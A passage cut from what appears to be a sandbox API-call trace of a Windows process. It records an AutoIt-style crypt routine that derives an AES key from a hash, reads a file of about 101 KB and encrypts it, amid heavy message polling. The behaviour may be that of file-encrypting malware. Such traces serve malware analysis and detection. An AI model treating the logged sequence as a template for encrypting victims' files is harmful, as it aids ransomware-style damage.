lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.937] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.937] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.937] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.937] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.937] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.937] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.937] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.937] CryptCreateHash (in: hProv=0xe8f4199650, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0029.937] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.937] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.938] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.938] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.938] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0029.938] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.938] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.938] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.938] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.938] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.938] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b480, dwDataLen=0x20, dwFlags=0x1) returned 1 [0029.938] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.938] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.938] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.938] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.938] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.938] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.938] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.938] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.938] CryptDeriveKey (in: hProv=0xe8f4199650, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40623a0) returned 1 [0029.938] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.938] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.938] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.938] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.938] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.938] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.938] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0029.938] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.938] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0029.938] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.939] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.939] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.939] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.939] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.939] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.939] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0029.939] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.939] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.939] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.940] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.940] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.940] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.940] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.941] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0029.941] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0029.942] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x8deb, lpOverlapped=0x0) returned 1 [0029.943] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0029.945] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.945] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.945] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.946] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0029.946] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.946] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.946] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0029.946] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.946] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0029.946] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.946] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.946] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.946] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0029.947] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.947] CryptGetKeyParam (in: hKey=0xe8f40623a0, dwParam=0x7, pbData=0xe8f4064d40, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064d40*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0029.947] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.947] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.947] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.947] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.947] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.947] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.947] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.947] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.947] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.947] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.947] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.947] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.947] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.947] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.947] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.947] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.947] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.947] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.947] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.947] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.947] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.947] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.947] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.947] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.949] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.949] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x18deb, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x18df0) returned 1 [0029.949] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.949] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.949] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.949] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.949] CharLowerBuffW (in: lpsz="byte[101873]", cchLength=0xc | out: lpsz="byte[101873]") returned 0xc [0029.949] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.952] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.952] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.952] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.954] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.954] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f6000080*, pdwDataLen=0xe8f3dfdf68*=0x18deb, dwBufLen=0x18df0 | out: pbData=0xe8f6000080*, pdwDataLen=0xe8f3dfdf68*=0x18df0) returned 1 [0029.954] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.954] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.954] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.955] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.955] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.955] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.955] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.955] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.955] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.955] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.955] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.955] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.955] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.955] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.955] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.955] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.955] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.960] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.960] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.960] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.962] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.962] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.962] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0029.962] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.962] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.962] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0029.962] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.962] CryptDestroyKey (hKey=0xe8f40623a0) returned 1 [0029.963] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.963] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.963] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.963] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.963] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.963] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0029.963] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0029.963] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.963] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.963] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0029.964] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.964] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.964] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.964] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, 